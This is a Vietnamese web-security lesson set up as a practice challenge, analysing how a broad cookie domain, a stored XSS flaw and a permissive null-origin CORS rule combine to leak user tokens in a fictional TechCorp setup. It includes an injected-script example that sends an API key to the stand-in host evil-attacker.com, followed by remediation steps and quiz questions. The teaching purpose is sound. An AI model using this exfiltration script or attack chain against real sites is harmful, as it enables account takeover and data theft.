Thực hành: Giải mã chính sách bảo mật trình duyệt đa miền
Thử thách độc lập: Đánh giá kiến trúc gồm nhiều subdomains, cấu hình CORS, Cookie flags và CSP để phát hiện đường đi rò rỉ token người dùng.
TL;DR: Thử thách này mô phỏng một hệ sinh thái ứng dụng doanh nghiệp gồm ba domain khác nhau: cổng xác thực SSO, trang dashboard quản trị và một diễn đàn cộng đồng cho phép người dùng nhúng hình ảnh. Hệ thống đã triển khai cả CORS, Cookie flags và CSP, nhưng sự thiếu đồng bộ giữa các tầng cấu hình đã vô tình tạo ra một con đường rò rỉ token nhạy cảm. Bạn sẽ đóng vai trò là chuyên gia thẩm định an toàn thông tin, đọc cấu hình HTTP response của từng dịch vụ, phân tích ranh giới tin cậy và chỉ ra chính xác chuỗi kết hợp dẫn tới việc rò rỉ phiên làm việc của người dùng.
1. Kịch bản kiến trúc: Hệ sinh thái TechCorp
Bạn được mời đánh giá an ninh cho nền tảng của tập đoàn techcorp.com. Đội ngũ kỹ thuật tự tin tuyên bố họ đã thiết lập đầy đủ các biện pháp phòng vệ theo chuẩn:
-
Trang xác thực trung tâm (
auth.techcorp.com): Khi người dùng đăng nhập thành công, server trả về cookie phiên với cấu hình:HTTPSet-Cookie: session_token=SECRET_AUTH_9981; Domain=.techcorp.com; Path=/; Secure; HttpOnly; SameSite=LaxMục đích: Đội ngũ kỹ thuật muốn người dùng chỉ cần đăng nhập một lần là có thể truy cập tất cả các dịch vụ nội bộ thuộc
*.techcorp.com. Như đã học ở bài 03-cookie-security-flags, họ đã bật đủSecure,HttpOnlyvàSameSite=Lax. -
Cổng thông tin quản trị (
portal.techcorp.com): Trang web quản trị nội bộ chứa dữ liệu lương và tài chính nhạy cảm. Trang này cấu hình CSP rất nghiêm ngặt theo bài học 04-content-security-policy-csp-co-ban:HTTPContent-Security-Policy: default-src 'self'; script-src 'self' 'nonce-XYZ'; object-src 'none'; -
Diễn đàn người dùng (
forum.techcorp.com): Hệ thống diễn đàn mở cho phép nhân viên và đối tác trao đổi thông tin. Do cần gọi API lấy avatar người dùng từ các ứng dụng di động và đối tác thứ ba, lập trình viên cấu hình CORS endpoint/api/profile:HTTPHTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Content-Type: application/json { "email": "[email protected]", "role": "SuperAdmin", "apiKey": "live_key_a8f9c0" }Hơn nữa, diễn đàn này vừa bị phát hiện một lỗi Cross-Site Scripting (XSS) dạng lưu trữ (Stored XSS) trong phần chữ ký (Signature) của bài viết, do không lọc thẻ HTML đầu vào.
2. Phân tích chuỗi rủi ro (Exploit Chain Reconstruction)

Hình 2.5: Chuỗi kết hợp rủi ro giữa phạm vi Cookie quá rộng, lỗ hổng XSS tại subdomain phụ và cấu hình CORS lỏng lẻo.
Dưới lăng kính của 01-same-origin-policy-sop và 02-cors-va-nhung-hieu-lam-tai-hai, hãy quan sát tương tác giữa các thành phần:
- Ranh giới Cookie: Thuộc tính
Domain=.techcorp.comkhiến trình duyệt tự động đính kèmsession_tokenkhi gửi bất kỳ request nào tớiauth.techcorp.com,portal.techcorp.com, và cảforum.techcorp.com! - Kẻ hở XSS: Kẻ tấn công inject mã JavaScript vào diễn đàn
forum.techcorp.com. - Mục tiêu: Kẻ tấn công muốn đánh cắp dữ liệu của SuperAdmin khi vị quản trị viên này ghé thăm diễn đàn.
Hãy thử kiểm tra phán đoán chiến thuật của bạn:
Kẻ tấn công có thể thực thi đoạn mã JavaScript nào sau đây trên forum.techcorp.com để đánh cắp session_token trực tiếp từ document.cookie không?
3. Bài tập thực hành: Vạch mặt đường rò rỉ dữ liệu
Mặc dù HttpOnly ngăn chặn việc đọc trực tiếp session_token, kẻ tấn công vẫn có thể chiếm đoạt tài khoản hoặc dữ liệu thông qua cơ chế CORS và các API nội bộ.
// Doan script doc hai hacker inject vao chu ky tren forum.techcorp.com
fetch('https://forum.techcorp.com/api/profile', {
credentials: 'include'
})
.then(res => res.json())
.then(data => {
// Gui du lieu nhay cam ve may chu cua hacker
fetch('https://evil-attacker.com/leak?apiKey=' + encodeURIComponent(data.apiKey));
});Thử thách tư duy: CORS Misconfiguration kết hợp Sandbox Iframe
Nhìn lại response header của endpoint /api/profile:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Nếu một trang web của hacker (https://evil-attacker.com) nhúng một iframe sandbox (không có cờ allow-same-origin), request gửi từ iframe đó sẽ có header Origin: null. Nếu máy chủ của TechCorp ngây thơ trả lời Access-Control-Allow-Origin: null kèm Access-Control-Allow-Credentials: true:
[!NOTE] Điều kiện đính kèm Cookie Trên các trình duyệt hiện đại, cookie được gắn
SameSite=Lax(hoặcStrict) sẽ bị chặn đính kèm trong các request fetch subresource chéo site xuất phát từ trang ngoàievil-attacker.com. Do đó, vector tấn công quaOrigin: nulltừ iframe ngoài chỉ khả thi nếu cookie thiếu cấu hình SameSite (hoặc đặtSameSite=None). Trong kịch bản cóSameSite=Lax, mắt xích khai thác thực tế và nguy hiểm nhất chính là lỗ hổng Stored XSS trực tiếp trên cùng site (forum.techcorp.com) như đã phân tích ở trên!
4. Phương án khắc phục toàn diện
Để bẻ gãy chuỗi khai thác này, đội ngũ bảo mật TechCorp cần thực hiện 3 bước tái cấu trúc:
- Thu hẹp phạm vi Cookie (Principle of Least Privilege):
Loại bỏ
Domain=.techcorp.com. Hãy để cookie gắn chặt với từng Origin cụ thể (Host-Only Cookie) bằng tiền tố__Host-:HTTPSet-Cookie: __Host-session=SECRET_VALUE; Path=/; Secure; HttpOnly; SameSite=Strict - Loại bỏ cấu hình CORS nguy hiểm:
Không bao giờ tin tưởng
Origin: nullkèm theo credentials. Áp dụng whitelist chặt chẽ các domain nội bộ đã được xác thực danh tính. - Triển khai CSP đồng bộ trên toàn bộ subdomains:
Trang
forum.techcorp.combắt buộc phải áp dụng CSP chặn đứng việc kết nối ra ngoài (connect-src 'self'), cô lập hoàn toàn nỗ lực tẩu tán dữ liệu khi có lỗi XSS.
5. Tổng kết
Thử thách trên chứng minh một chân lý cốt lõi: Bảo mật web là một chuỗi mắt xích liên hoàn. Một mắt xích yếu (subdomain forum có lỗi XSS và cấp quyền cookie quá rộng) có thể kéo sập toàn bộ hàng rào bảo mật được dựng lên công phu ở các hệ thống khác.
Bài tiếp theo: 06-tong-ket-module
- Q1Tại sao việc đặt 'Domain=.techcorp.com' cho cookie phiên đăng nhập lại tiềm ẩn rủi ro cao trong kiến trúc nhiều subdomain?
- Q2Nếu cờ HttpOnly đã được bật, tại sao mã JavaScript độc hại trên cùng subdomain vẫn có thể thực hiện hành vi xấu?
- Q3Tại sao cấu hình 'Access-Control-Allow-Origin: null' đi kèm 'Access-Control-Allow-Credentials: true' là cực kỳ nguy hiểm?
- Q4Tiền tố cookie nào bảo đảm cookie chỉ được gửi tới đúng host đặt ra nó và bắt buộc phải qua HTTPS?
- Q5Lớp phòng thủ Content Security Policy (CSP) nào có thể chặn đứng việc JavaScript tuồn dữ liệu nhạy cảm về server của hacker ('https://evil-attacker.com')?
- Q6Khi người dùng click vào một đường link liên kết từ trang hacker sang trang TechCorp, cookie phiên có SameSite=Lax sẽ được xử lý ra sao?
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Content Security Policy (CSP): Phòng thủ chiều sâu Web
Bài tiếpTổng kết module Mô hình Bảo mật Trình duyệt
Thảo luận & góp ý
Hỏi đáp về bài này